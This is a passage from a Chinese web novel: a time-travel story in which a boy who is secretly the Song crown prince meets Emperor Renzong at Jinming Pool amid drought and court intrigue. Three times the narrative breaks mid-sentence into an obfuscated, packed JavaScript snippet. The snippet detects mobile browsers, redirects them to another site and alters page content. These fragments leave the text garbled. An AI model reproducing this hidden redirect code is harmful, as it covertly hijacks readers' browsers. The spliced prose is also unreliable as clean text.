曹家虽没多余的钱财,但米面酒肉都是有补贴的,不缺吃食。所以就连吃东西,曹暾也觉得在家里舒服些。 至少他不用担心食品卫生安全。 现在又没个食品安全法,谁知道外面食店里卖的吃食会加什么脏东西。 总之,我就是不想出门! 一回家,曹暾就挣脱曹佑的怀抱,半点没有刚才累着的模样,撒着脚丫子就往书房里跑。 曹佑背着手,摇摇头,先将今日出门的经历报告给曹琮。 曹琮正和范仲淹聊着太子的教育。 见曹佑如此早便归家,他们都担心太子是不是在外面遇到了不好的事。 听闻曹佑和曹暾正好遇上了章相公的侄儿,并迅速在潘楼花光了钱,他们都颇有些哭笑不得。 “暾儿想多了。只是小辈结交,陛下不会在意。”范仲淹道,“你可以与其结交。” 曹琮也道:“章相公是极其谨慎的人,且很快就会致仕。你与他们的侄儿结交,不碍事。” 曹佑这才松了口气。 虽然知道曹家在历史中没有遭遇过厄运,但历史中的曹家可能没有自己,他向来不懂君心,很担忧会一步走错,祸及家族。 今日他许久没有和友人聊得尽兴,一时放纵了。 待曹佑离开后,范仲淹皱起了眉头:“你教了曹佑什么?怎么把他教得过分怯懦,连交朋友都不敢了?” 曹琮苦笑不已:“我只让他谨言慎行,可没有教他不交朋友啊。” 范仲淹开玩笑道:“曹佑心思太重,我都怀疑他是不是寄人篱下,被你欺负了。” 曹琮跟着开玩笑道:“我见他心思太重,都怀疑自己是不是薄待他了。” 两人不再聊太子,担忧起曹佑来。 曹佑和曹暾出门游玩,恰好碰上章得象的两个侄儿的事,很快就出现在了赵祯的案上。 护卫的人将几人聊天内容一字一句记下,连语气都标注了。 赵祯今日很疲惫。 与西夏和谈后,赵祯以为终于能缓口气。 谁知道去年两浙、淮南、江南大旱,今年京畿又大旱,东京城一石粮的价格飙升至千钱,比他刚即位时飙升十倍。 赵祯靠着向京城富户借钱,才勉强补了赈灾的缺口。 这借的钱,他肯定是不会还的。所以再有下次,他就不能借了,只能另想他法。 这几日他接连去相国寺、天青寺、会灵观、祥源观祈雨,日日在烈阳下暴晒,身体和心情都很是不爽利。 希望他能感动老天,让老天赶紧下雨,不然他可没钱赈灾了。 赵祯想起已经夭折的新政,心情更坏。 如果不是朝廷财力捉襟见肘,他怎么会硬着头皮改制?可改制失败了,群臣又想不出新的振奋社稷的方式,他仿佛被束在蛛丝之中,寻不得出路。 当他看到曹暾、曹佑和章家兄弟的聊天时,心情好转不少。 太子知道朝政由“庸俗”之事组成,就足以成为明君了。赵祯想起大娘娘的教导,将复杂的思绪压在眼底深处。 “章得象的侄儿不错。”赵祯记下这两人。希望将来他能在殿试中见到两人。 赵祯起身舒展了一下身体,决定去亲眼看看自己的好儿子。 几日后,曹家得到皇帝旨意,令曹琮伴驾金明池。 另:记得带上曹佑和曹暾。 曹琮和范仲淹如临大敌。 陛下终于要和太子见面了,可千万别出岔子啊! 16.真盛世乐景 范仲淹本以为自己已经习惯曹暾的淡然,当曹暾听闻要面圣,仍旧只面无表情地回了个“哦”的时候,他才知道自己远远不能习惯。 那可是皇帝陛下! 如果不是亲眼看见曹暾在看书时表情丰富,他都怀疑太子是不是面部有疾,急着去找太医了。 但曹暾就是没什么反应。 见个宋仁宗而已,他能有什么反应? 看见朱夫子被噎住的神情,曹暾想了想,猜测朱夫子可能担忧他对皇帝不敬。 虽然他觉得自己挺礼貌的,但皇帝说不定气量狭小,自己表现得不够激动,皇帝也会认为自己不敬。 曹暾向朱夫子保证:“夫子,你放心,我见到陛下时,一定会很激动。” 范仲淹:“……”那就是你现在确实一点都不激动了。 “嗯,好,不用太激动,以免被陛下发现不对劲。”范仲淹最终还是没训斥曹暾,只让曹暾演了演激动的模样,帮曹暾训练演技,别让皇帝发现不敬。 曹暾的内心无法改变,责怪无用,范仲淹不做无用的事,只引导曹暾走他愿意走的路。 朱夫子竟然轻易地接受了自己对皇帝的“不敬”,让曹暾心里有点惊讶。 他对朱夫子终于有了一分好感,换夫子的渴望稍弱了一点。 范仲淹和曹琮轮流指点曹暾面圣需要知道的事,曹佑也跟着旁听。 曹佑虽然是顺带的,但皇帝点明要见他,肯定就会考校他。若能给皇帝多留下几分好印象,曹佑或许能在曹暾长大之前就入仕。 曹佑熟知面圣礼仪,又曾经见过宋仁宗,心里与曹暾一样,也不紧张。 见曹佑和曹暾都对面圣之事十分平静淡然,曹琮和范仲淹又是赞叹,又难免再次担忧。 这两人的性格,可半点都没有他们年龄该有的活泼啊。 范仲淹再次戏谑,问曹琮有没有欺负两人。 曹琮哭笑不得。 范仲淹道:“可能是你们曹家的家传?” 曹琮真不知道该道谢还是该无语。 私下接触后,他没想到在朝堂上极其威严的范公,居然还挺喜欢开玩笑的。以前他们共事的时候,他也没发现范公这么促狭啊。 很快就到了面圣那一日。 曹暾虽然不激动,但他知道皇帝掌握曹家一族的生杀大权,很谨慎地做足了准备。 说什么皇帝不杀士大夫,但皇帝可以杀武将啊。他曹家还是外戚,哪怕什么坏事都没做过,也是文人口诛笔伐的对象。 面圣的前一晚上,曹暾担心小叔叔太紧张,抱着枕头来陪曹佑睡觉。 曹佑知道曹暾在紧张,承认了自己很紧张,需要小侄儿陪自己睡觉。 曹暾趴在小叔叔耳边,嘀咕了许久皇帝和大臣的坏话。 这些大逆不道的话曹佑听过了好多遍,已经从不安变成麻木。 曹佑道:“你越惧怕君王,就该越谨慎,不可露出惧怕。” 曹暾冷哼:“我知道。我特别会装模作样!” 曹佑觉得小侄儿不是特别会装。不过他见过宋仁宗,宋仁宗性格宽厚,应当不会和小孩子一般计较。小侄儿只是性格冷淡了些,不至于得罪宋仁宗。 曹暾叽叽咕咕了好多话。曹佑一边听一边给曹暾拍背,终于把小侄儿拍睡着了。 他叹了口气,对自己第二次面圣也生出了些许紧张。 算了,自己还年少,不用急着表现才华,只要不引起皇帝厌恶就足够,不必多想。 曹佑对自己情绪的掌控力极强。他让自己不多想,便很快思绪空白,迅速入睡了。 第二日,曹佑仍旧穿得朴素,曹暾却被打扮成了富贵娃娃。 曹暾不高兴地阻止曹琮不断往他身上挂珠宝:“叔祖父,陛下和相公们都很节俭,不会喜欢看见曹家奢侈。” 曹琮解释:“这些都是御赐,不算奢侈。” 曹暾仍旧拒绝:“即使是不能卖的御赐品,但朝中清高者一定认为将东西堆在仓库里烂掉是节俭,拿出来物尽其用是浪费。还是不戴为好。” 曹琮被曹暾的话噎住,又发现无可反驳。 皇宫里珍宝极多,但若皇帝拿出来用就会被台谏官劝谏,珍宝烂在库里确实没人理睬。 曹佑忍住笑:“叔父,暾儿不爱奢侈,还是依暾儿喜好吧。” 曹佑曾经经常被曹暾的话噎住。他见叔父也被暾儿的直言快语噎住,很是想笑。 最终曹琮还是依了曹暾的意。曹暾只换了身新衣服,身上没戴珠宝。 目送曹暾上马车,范仲淹看着马车离去的眼神很是复杂。 短短不到两旬的师徒相处,范仲淹时常怀疑曹暾的冷漠或许不是本性,那些直言快语可能也不是因为年幼稚嫩口无遮拦。 只是曹暾才五岁,能有多少心思和阅历?范仲淹才次次将怀疑压下。 “唉。”范仲淹叹了口气,心里说不出缘由的五味杂陈。 即使太子只是无心之语,但他的话仍旧触动了范仲淹。 陛下重台谏,可台谏若只苛求君王和大臣的个人品德而不重实事,那台谏真的有用处吗? 他想起滕宗谅等在边疆立过功的官员们所遭遇的弹劾。 宋夏战争,官员若要有作为,定要花巨额的钱财奖赏民间勇士扩充兵员,贿赂西夏官员获取情报,抚恤边民稳定民心。 这些支出没有固定的律令条款可以遵循,官员们用公家的钱做事,都是踩在无法可依的灰色地带。 这如武将破城先取缴获钱财犒赏兵卒一样,是“将在外”的便宜行事。 宋夏战争时,陛下和朝臣都默许了这样的潜规则;可战争结束后,台谏官却弹劾边官贪污。 范仲淹无法确定,公使钱过一边手的时候,边官是不是真的分文未贪。可若朝堂锱铢必较,边官还有谁敢做实事? 滕宗谅烧掉账本,坐实了贪污,将范仲淹卷入了风波。范仲淹不责怪滕宗谅,反而很愧疚。 他明白,若账本被发现,恐怕边官会贬谪一遍,上上下下没有一个能避免。因为要做事,不可能不用钱。 更甚者若朝廷想把“贪污”的钱追回来,那获得抚恤的边卒有多少会家破人亡? 烧掉账本,虽然名声有亏,但朝廷找不出实证,便不能扩大牵连的人。 让范仲淹更痛苦的是,被弹劾的那些“贪污”是他默许的,是他以为能护住的,也是陛下承诺能护住的。 范仲淹阖上双眼,将他心中一丝不平压下。 即使他再忠君爱国,人非草木,岂能时时刻刻无私? 只是他能很快将心中那一抹私情压下,再睁眼时,又是那一位一心为公的端方君子。 曹琮在外面骑马,只曹暾和曹佑两小在坐马车。他们俩正好说起滕宗谅。 曹佑是勋贵武将子弟,皇帝肯定会考校曹佑军事。最近的军事,就是刚结束的宋夏战争了。 曹佑背诵着自己写好的宋夏战争见解,曹暾一如既往给小叔叔泼冷水。 “小叔叔,你说的举措事事要钱,这钱哪来?”白眼暾暾又在翻白眼,“上一个用公使钱犒赏羌人部落,让羌人帮着打西夏人的滕子京,已经被贬去修岳阳楼了。” 曹佑微笑着任由自家小侄儿冷嘲热讽,继续背他的面圣草稿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586783|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曹暾锲而不舍地打击小叔叔,小叔叔岿然不动。 两人驴唇不对马嘴地念了一路,直到出了万胜门,两人才住了嘴整理仪容。 金明池就在万胜门外,与琼林苑隔街相对。 三月初一,金明池对百姓开放,人人都能去观看水戏。 三月二十,皇帝驾临金明池,与民同乐。 禁卫军们鬓插艳丽的鲜花,身穿镶嵌金丝的锦袍,手持镀金的长/枪,背着装饰着珠宝的弓箭,有说有笑、举止散漫地在皇帝驾临的宫殿附近巡逻。 池中百舟竞渡尚未开始,载着妓女的画舫铺满了整个水面。 妓女们倚靠着画舫的栏杆高歌,岸边的百姓纷纷向水中投掷帕子、鲜花,以作喝彩。 通往皇帝驾临宫殿的路已经清场,但临近走廊都允许百姓前往。走廊两端摆满了小摊,有贩卖饮食的,有表演戏法的,更多的是摇骰斗鸡等博戏摊子。 小摊前摆放着瓦盆,不断有人往瓦盆里投掷铜钱,叮叮当当,极其热闹。 进了禁军护卫的范围,曹琮带着曹佑、曹暾下车走向皇帝驾临的宫殿。 曹暾自然被曹琮抱在怀里,不能劳累。 曹佑第一次观看金明池春景,不住东张西望,目不暇接,心中忍不住涌出热意:“与民同乐,真乃盛世之景。” 曹琮微笑点头:“的确。你我从戎,便是要护住这乐景。” 曹佑严肃道:“是,叔父。” 曹暾撇嘴,小声嘀咕:“是啊,太/祖建讲武池仿汉武建昆明池以习水战,太宗将观习水战变成了观水戏,池上的战船变成了载着教坊的画舫,还真是乐。” 曹暾的声音压得很低,但曹琮和曹佑都听见了。 叔侄二人都沉默地看向曹暾。 曹琮:“暾儿……” 曹暾眨了眨眼睛:“我的意思是,大宋一片歌舞升平,将荒废的‘讲武池’废物再利用,改为与民同乐的‘金明池’,真是盛世乐景。” 曹琮沉默了一瞬,语重心长道:“暾儿,等见了陛下,少说话,尤其别说你从书中看到的针砭时弊的话。” 他说完后,横了曹佑一眼。 显然,曹琮认为五岁孩童胡言乱语,定是看多了书,管不住嘴,无意间显摆。 这一定是曹佑在太子看书时没有好好教导的缘故! 曹佑摸了摸鼻子,不敢辩解,认下了教坏曹暾的黑锅。 曹暾:“哦。” 他才不会对着皇帝多说话呢。 就是预感会在皇帝面前装得难受,他才提前发泄一下。 反正叔祖父和小叔父又不会出卖他。 唉,一想到等会儿要向宋仁宗歌功颂德,曹暾就浑身提不起劲。 京城一月未下雨,皇帝刚去寺庙道观祈福。京城粮价飙升千钱不止。 金明池内画舫上香风飘飘。走廊两边贩卖的饮食常在人来人往中洒落一地。 要怎么夸呢? 就夸陛下宽仁,公卿贤明,与民同乐吧。 曹暾打了个哈欠,趴在叔祖父肩膀上闭眼小憩,在见到皇帝之前赶紧养精蓄锐,免得止不住瞌睡还得咬舌头。 曹琮和曹佑被曹暾破坏了气氛,没了闲聊的兴致。 曹佑环视周围热闹。 他想起金兵渡过黄河时,大宋确实是在黄河南岸没有一兵一卒戍守的。 他在兵书里见到的以金明池为驻地的大宋虎翼水军,也确实从未在现实中见到过。 “叔父,驻扎在这里的虎翼水军呢?” “他们在湖中驾驶画舫上表演水戏。” 叔侄二人便一直没再说话了。 17.这么勇敢吗 走过朱红栏杆的仙桥,便来到了皇帝暂住的水心五殿前。 水心五殿顾名思义,恰在金明池中央。 五座宫殿如绽放的五片花瓣,底台石壁雕龙画凤。每座宫殿的露台上都挂着轻纱帷幄,帷幄中为朱漆明金的龙榻,龙榻后为描绘着腾龙的屏风。宫殿不仅建筑对称,连宫殿里的摆设也力图一致,极具美感。 赵祯便半卧在朝南的宫殿龙榻上。曹琮带着曹佑和曹暾面圣时,赵祯正在和章得象聊赈灾之事。 听到曹琮来了,赵祯坐直身体,双腿垂在榻下。宫人搬来螺钿凭几,放在赵祯身后。 伴驾众臣见愁眉苦脸的皇帝突然眉头舒展,都很是疑惑。 虽然皇帝还算信任曹琮,但因为帝后不睦,皇帝对曹琮态度都是公事公办,怎么会一听曹琮来了就展露笑颜? 曹琮到了水心殿台阶下,就将曹暾放下。 曹暾揉了揉眼睛,使劲拍了拍脸颊,把脸颊拍得啪嗒啪嗒响,瘦削的小脸拍得红彤彤的。 他深吸一口气,双眼猛地睁圆。 一直关注着曹暾,担忧曹暾在君前失仪的曹琮差点崴脚,自己在君前失仪。 “马军副都指挥使曹琮/草民曹佑/小子曹暾拜见陛下。” 曹琮身有官职,只是站着行礼。 曹佑和曹暾下跪拜见皇帝时,宫人眼疾手快,迅速在他们面前放了蒲团,示意叔侄二人跪在蒲团上。 伴驾群臣纷纷侧目。 宫人这么积极,肯定是皇帝事先打了招呼。所以皇帝展颜的对象不是曹琮,而是曹皇后的弟弟和侄儿? 终于看到自己还活着的唯一的儿子,赵祯的嘴角很努力地往下压了,也没完全压下去。 他对曹暾招了招手:“免礼。你就是皇后经常挂在嘴边夸赞的神童暾儿吧?过来让朕好好瞧瞧。” 曹暾利落地爬起来,不卑不亢地走向皇帝,心里狐疑。 皇后姑姑在皇帝面前夸我?真的假的?姑姑会在皇帝面前夸娘家人?我怎么不信呢? 曹暾走到赵祯面前仰头,正琢磨着要说什么,被赵祯一把抱起来,放在腿上。 曹暾:“?” 群臣:“?” 曹琮:“……” 曹佑:“!” 赵祯抚着曹暾的背,轻声笑道:“曹氏有功我家,此亦佳儿也。” 曹琮用了好大的力气,才对皇帝的尴尬表演控制住嘴角的颤抖。 曹佑还在迷茫,群臣微微颔首,懂了皇帝此举的含义。 昔年太宗皇帝便是将幼年的曹琮抱在腿上,抚着曹琮的背夸赞“曹氏有功我家,此亦佳儿也”。皇帝这是夸曹暾,也是拐着弯子夸曹琮呢。看来皇帝看重的还是曹琮。 或许皇帝想借由奖赏曹琮,安抚开国勋贵? 被赵祯抱进怀里的曹暾先是身体一僵,然后他感觉到赵祯的身体也挺僵硬的,便抬头看了皇帝一眼。 赵祯正好低头看他。曹暾很轻易地从赵祯双眼中看到了紧张。 奇了怪了。该我紧张吧?你个当皇帝的紧张什么? 曹暾虽然不理解,但他发现赵祯先替他紧张了,自己便懒得紧张了。 他双手撑着赵祯的腿,屁股往后一挪,身体往后一倒,舒舒服服地靠在了赵祯怀里。 今天皇帝系的是锦缎腰带,腰带上没有金银玉石的钩扣,是非常舒适的椅子,不会膈着曹暾。 曹佑心跳加速,没料到小侄儿居然如此大胆。 曹琮又害怕又困惑。难道太子已经知道他是太子了?不然怎么如此嚣张! 赵祯既欣喜儿子对自己的亲近,又惊讶儿子的胆大。他笑着问道:“暾儿不怕朕吗?” 伴驾群臣刚刚的注意力还没放在曹暾身上,只是隐晦地打量曹琮和曹佑。闻言,他们都将视线落在了曹暾身上。 曹暾板着脸道:“陛下是小子的姑父,乃是小子最亲近的长辈之一,小子怎会害怕?” 虽然不知道为什么宋仁宗对自己挺亲近,不顺着杆子往上爬,让自己过得更舒服点,他蠢吗? 赵祯失笑。他揉了揉怀里孩子的脑袋,似喟似叹:“是啊,朕是你最亲近的长辈。” 伴驾群臣内心猛地一颤。难道帝后悄悄背着我们变融洽了? 皇帝驾临金明池与民同乐,朝臣们还得继续干活。赵祯带来的臣子多是翰林学士等侍从官。 赵祯挥退其余伴驾大臣,仅留已经致仕的太傅张士逊,和隔三岔五就上折子请求致仕的当朝宰辅章得象。 他给曹琮和曹佑赐了座。 曹琮坐在张士逊一侧,曹佑则坐在章得象一旁。 张士逊和章得象看着曹佑被赐座的位置,心里略有了些计较。 赵祯没把曹暾放下来,继续将曹暾抱在怀里,细细问曹暾的学问。 曹暾此刻没有藏巧于拙,尽全力展现出自己的能耐。 童子科和察举类似,皇帝的喜好至关重要。 童子科分三档。只能诵读《六经》《孝经》《论语》《孟子》者为第三档,给一次直接考省试(进士)的机会,即“免文解”一次;能诵读且能以其中一经写文者为中等,免文解两次;能诵读后,所有经义都能写,或者能作诗赋者,才能为上等,直接赐进士出身。 曹暾求的就是“上等”。 因诗赋不需要现写,拿出曾经做过的就成,所以经义全部通晓和能做诗赋不是一个难度。也就是说,只要神童能诵读全部经书,皇帝就能凭借喜好定等——喜欢的让做诗赋,不喜欢的公事公办让做经义。 如果神童能做出经义,那就是真的神童,一个进士身份皇帝也是舍得的。 曹暾卖弄学问,可不是想走捷径。因为捷径对他来说才是难事。 他在诗词上实在是没天分,琢磨赋的结构也很难受。比起诗词歌赋,他更喜欢写言之有物的散文——只要抒发思想即可,不用讲究文采。 经义对曹暾而言就是给阅读材料的议论散文。 所以曹暾为了不让皇帝让他写诗赋,现在就要展现出自己对经义的理解。 宋朝的皇帝罕有学问不好的。赵祯也是博闻强识之人。当曹暾说他能背《六经》《孝经》《论语》《孟子》时,赵祯不看书,随意拎了几句经书考校。 曹暾没有半点磕绊,便能顺着赵祯的考校往下背诵。 赵祯又问曹暾经书中字句含义,曹暾也能轻松说出释义,并点出自己的释义出自哪位先人的注释——因为朝中人多喜欢韩愈,他所言多为韩愈的儒经注释版本。 赵祯考校得满脸红光,满意极了。 对赵暾这个儿子,赵祯心情本是很复杂的。 赵暾和赵曦前后脚出生。按照常理,皇后所生嫡子赵暾应该更受他看重。但曹皇后将胎坐稳之后才告知赵祯,赵祯便十分膈应。 曹皇后自言她月事不规律,怕是误判,所以过了两月确定之后才敢告知皇帝。 曹皇后确实没有隐瞒太医的诊案。如果皇帝询问太医,立刻就会得知曹皇后的月事两月没来。只是赵祯从来不会询问曹皇后的身体状况,才不知道此事。曹皇后没有及时报喜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593842|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也可视作低调,谨慎。 但赵祯对曹皇后的隐瞒仍旧膈应大于欢喜。 让曹皇后在宫苑生子,并将皇子送往宫外养育之事,是赵祯出于好心,与曹皇后共同商议的。他怀疑自己儿女死那么多,是宫里风水有问题。 但隐藏赵暾皇子的身份,则是赵祯故意找茬的气话。谁知道皇后应了下来,让他下不了台。 赵祯本来想等皇后向他请求,他就公布赵暾的身份。皇后愣是不提这件事。赵祯便也一直不提公布赵暾的皇子身份。 正好他已经有了赵曦,便故意冷落赵暾。 谁知道赵曦夭折,赵暾成了他唯一的儿子。赵祯才对赵暾紧张起来。 赵祯对子嗣极其重视。二皇子赵昕和四皇子赵曦都是由赵祯亲自抚养,乳母、太医都为他亲自安排,每日他都细细询问皇子的生活。两位皇子却都从出生起便大病小病不断,都没活过三岁。 赵暾出生时也病恹恹的。赵祯只剩赵暾一个儿子,子嗣一事让他几乎疯魔。 他不仅怀疑皇宫风水不好,还怀疑宫里有辽人或西夏人的奸细害他没有子嗣。 为了保住最后一个儿子,赵祯竟然让刚满十岁的曹佑偷偷带着曹暾离开京城,南下气候更温和的江南生活。直到宋夏战争结束,庆历和议签订,赵祯认为西夏人没理由再派奸细害他儿子,且民间认为孩子过了五岁便容易活了,才让赵暾回来。 当赵暾离开京城,赵祯想看曹皇后服软的“愿望”终于实现——曹皇后跪在地上,哭着求赵祯别把孩子送出京。之后每逢年节,曹皇后都哭着请求赵祯把赵暾接回京城。 但赵祯坚持己见。他要尝试一切可能保住这个儿子。 如今暾儿终于回来了。 身体很好。 学问很好。 气宇更是恢宏,不似孩童。 自己所作所为没有错误。 赵祯让宫人端来奶饮给曹暾润喉。他亲自为曹暾擦拭嘴边奶渍,夸赞道:“暾儿的学问,已经比得上朝堂的进士了。” 曹暾半点不谦虚:“小子也这么认为。所以小子准备考童子科,也来朝堂当进士。” 曹琮还在思考,自己有没有露馅,太子是不是已经知道他是太子。 曹佑两眼一黑。暾儿,你说好的在皇帝面前谦虚谨慎呢?公开挑衅满朝进士,你这叫谦虚谨慎? 曹暾自认为很谨慎。 北宋年少成名的神童个个都很张狂,不认为自己比成年人差。他要合群。 而且如果他认为自己比朝中进士差,那他还来争什么进士?等入朝为官,岂不是会被倚老卖老的同僚压制? 自己来当官是享福的,不是来给“前辈”们做牛做马的。 反正自己只要俸禄,不想干活,那些“前辈”就是打压自己,也只能卡自己的实权差遣官,让自己只拿寄禄官的工资。岂不是正合我意! 不趁着皇帝假装是自己长辈,对自己十分亲善的时候多嚣张一下,他就没机会安全地嚣张了。 曹暾继续顺着杆子往上爬:“姑父,我定不会给你丢脸!” 老成持重、谨小慎微的张士逊和章得象都被曹暾吓到了。 曹家小儿这么勇敢的吗?他还真当自己是皇帝的内侄儿? “哈哈哈,好!”赵祯一把将曹暾抱起来,让曹暾稳稳坐在他手臂上,“来,跟姑父一起去看百舟争渡!” 曹暾眨了眨眼。咦,皇帝好像抱小孩的姿势很熟练呢。他难道经常抱儿女? 那真是太惨了。皇帝连死了九个儿女了呢。 18.好大的惊喜 曹暾神情自然,动作熟练地抱住赵祯的脖子。 他瞟了一眼叔祖父和小叔叔的表情。 叔祖父在发呆,而小叔叔虽然看似沉着冷静,但他和小叔叔太熟了,能看出小叔叔已经惊得掉色了。 太胆小了吧?回去就嘲笑小叔叔。 赵祯没发现曹暾的微表情。 他将曹暾抱到栏杆前。竞赛的兵卒已经将赛舟划到了湖中。 整整二十条龙舟横列湖边,身穿红衣的兵卒握着船桨严阵以待,船头竖着虎头旗,正是曹佑之前提起的虎翼水军。 赵祯道:“若是往年,朕该带你去坐大龙船。今年春旱,便免了大龙船的赐宴。若明年风调雨顺,朕就带你去坐大龙船。” 曹暾略一想,想起赵祯说的大龙船是什么。 皇帝前往金明池与民同乐的时候,本来会带上妃嫔和许多大臣乘坐大龙船游玩。 大龙船每年下水前都要修缮,重新涂抹油漆,花费不小;宴席的酒水要花钱,让乐坊来演一日的歌舞要花钱,宴会上对群臣和妃嫔的赏赐更是花销巨大。 因今年春旱,皇帝为了节省花销,将金明池观水戏时的皇家娱乐项目全砍了,只带了几个没事干的官员来金明池主持例行的虎翼水军龙舟竞赛,连妃嫔都留在了宫里。 不过皇帝对后宫妃嫔很宽和。虽然他没带妃嫔来,但高位妃嫔向他打个招呼,便能在节日时自己来宫苑游玩。即使是与他不睦的皇后也时常去瑞圣园养蚕织布,赵祯从来不阻止。今日不来也不碍着她们踏青游玩。 赵祯说起今年春旱,发愁的话就停不下来。 宋夏战争已经结束,朝中花销还是降不下来。他期盼着有一年风调雨顺,就能让国库丰盈。可老天不作美,春天播种的时候居然不下雨。 他说的不是皇帝该向臣子家的小孩抱怨的话。 张士逊和章得象的脸都皱成了一团,对皇帝的失态,脸色难看极了。 曹暾想起宋仁宗时期的天灾,虽然对宋仁宗没什么好感,心里也生出几分同情。 后人对宋仁宗执政期间的印象只有“语文天团”,实际上这段时间本应是北宋最艰难的时期之一,只是宋仁宗扛了过去,好像这段时期平平无奇了。 宋仁宗在位期间,几乎年年天灾不断,水旱灾害轮流在北宋国土上肆虐。 天灾艰难,兵祸也四起。宋仁宗时除了宋夏战争、岭南战争(平定侬智高)两场大的战事,还有荆州蛮人叛乱、保州兵变、贝州兵变等小战事。且庆历和议后,西夏很快撕毁合约,持续骚扰掠夺边疆。 嘉祐二年(1057年),西夏纠集数万人攻打大宋,宋夏战事再起。 大大小小的战火从宋仁宗中期之后,持续整个宋仁宗统治时期。 后世人说起宋仁宗,总是要哔哔一句“宋仁宗在位期间因长期和平的局面所以百姓生活富足”吧啦吧啦。哪来的长期和平啊?就算不知道宋朝历史,但凡知道狄青是宋仁宗的名将,也该知道宋仁宗时期战事多,不然狄青在哪立的战功? 因宋仁宗在位期间天灾兵祸不断,财政岌岌可危。在庆历五年,各类商税已经增至宋仁宗刚即位时的三到四倍。田税也迅速增加。 再加上百官能强“邀”百姓来家里免费做工,民间破产者无数,土地兼并极其严重。 如此艰难,宋仁宗和那帮名臣想尽了办法缝缝补补。尤其是那群党争失败的宰辅外放地方时,皆铆足了劲儿抚民,没有一人因为政治失意而颓废。 虽然到了宋仁宗末年,势官富姓占田无限,重罚也不能制止,以至“富者有弥望之田,贫者无卓锥之地”,但没有出现大规模的农民起义,这段艰难的时光还是被宋仁宗撑住了。 唉,后世网络总有人希望穿越到宋仁宗时期当“贫穷百姓发家致富”,嗯,祝福美梦成真,交得起税。反正总比靖康好,对吧? 曹暾拍了拍赵祯的肩膀,老气横秋地安慰应该是来找他寻安慰的皇帝:“天行有常,不为尧存,不为桀亡,区别只是贤明的君主和大臣会怜悯百姓。陛下仁厚,相公贤明,君臣协力,一定能撑过去。” 宋仁宗,加油啊,这才开始,以后的日子更难过。 曹暾心里唏嘘,幸好自己姓曹。你赵家的天下,你姓赵的自己加油,一定没问题滴。 曹暾对赵祯握拳,虽然赵祯没见过别人朝他握拳,还是能看出这是给他鼓劲的动作。 赵祯失笑:“公卿都说天灾是因为朕不修德行,你倒是说天行有常了?” 曹暾道:“小子看史书,反正没见到哪个道德明君在位的时候没有天灾。天下如此大,东边日出西边雨,总有地方风不调雨不顺。” “史书里写过啊。”赵祯感慨了一声,不再抱怨。 他向曹暾介绍起参赛的虎翼水军,说起太/祖的“不忘武功”旧事。 曹暾假装听得很认真,心里不以为意。你老赵家的祖宗让你们姓赵的别忘武功,结果你们从太宗起就忘光了,现在对臣子说有屁用啊?还真是搞笑。 “太/祖皇帝真是太厉害了!” “太宗皇帝也是很厉害!” “真宗皇帝也是明君!御驾亲征,好英武!李唐的太宗皇帝也不过如此!” 曹暾睁大的亮闪闪的眼睛,赵祯说什么他就夸什么,好像一个长辈说什么就信什么的无知幼童。 赵祯被哄得眉眼弯弯。 他颠了颠手臂上的瘦弱孩童,一大一小两个脑袋几乎挨在了一起。 章得象揉了揉眼睛,又揉了揉眼睛,然后猛地转头看向曹琮。 曹琮垂下头,侍立在赵祯身后,默然不语。 章得象又看向张士逊。 平日里八风不动,稳如泰山的张士逊,虽然表情看不出波动,但他握着拐杖的双手一直在发颤,像得了病似的。 张士逊肯定也看出来了。章得象心一沉。 曹暾还年幼,且长得很瘦弱,刚才他们还没看出来。但当皇帝把曹暾抱起来,两个脑袋并在了一起,那怪异感就在章得象心里盘旋了——曹暾的五官和皇帝有五六分的相似。尤其是那双眼睛笑起来的时候,几乎和皇帝一模一样。 只是五六分的相似感,本不该让章得象心里震动。但皇帝对曹暾异常的亲近,就不容章得象不多想了。 皇帝与皇后不睦,也不认识皇后早逝的兄长,他没有理由对曹傅的遗腹子亲近。 张士逊和章得象都是看着赵祯长大的两朝老臣。 赵祯虽然性格温和,但骨子里帝王的傲气不减,他礼贤下士也是将士视作“属下”。就算太宗皇帝将曹琮抱在膝盖上,也只是逗弄一下,不是如赵祯这样一直抱着曹暾不放,还抱去看龙舟! 张士逊突然压低声音道:“曹将军,我记得你的孙儿名字中皆带‘言’,曾孙名字中才带‘日’。曹暾是你侄孙,怎么跟着你曾孙取名?” 曹琮道:“暾儿是傅儿的遗腹子,为求得平安,我便做主,让暾儿跟着下一辈取名了。” 张士逊被皱纹覆盖的嘴角弯起一个狰狞的微笑:“原来如此。曹将军真是一片慈爱之心啊。暾儿的父亲什么时候去世的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593843|186390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曹琮刚想回答,他看到张士逊冷意覆盖的眼神,把回答的话咽了下去。 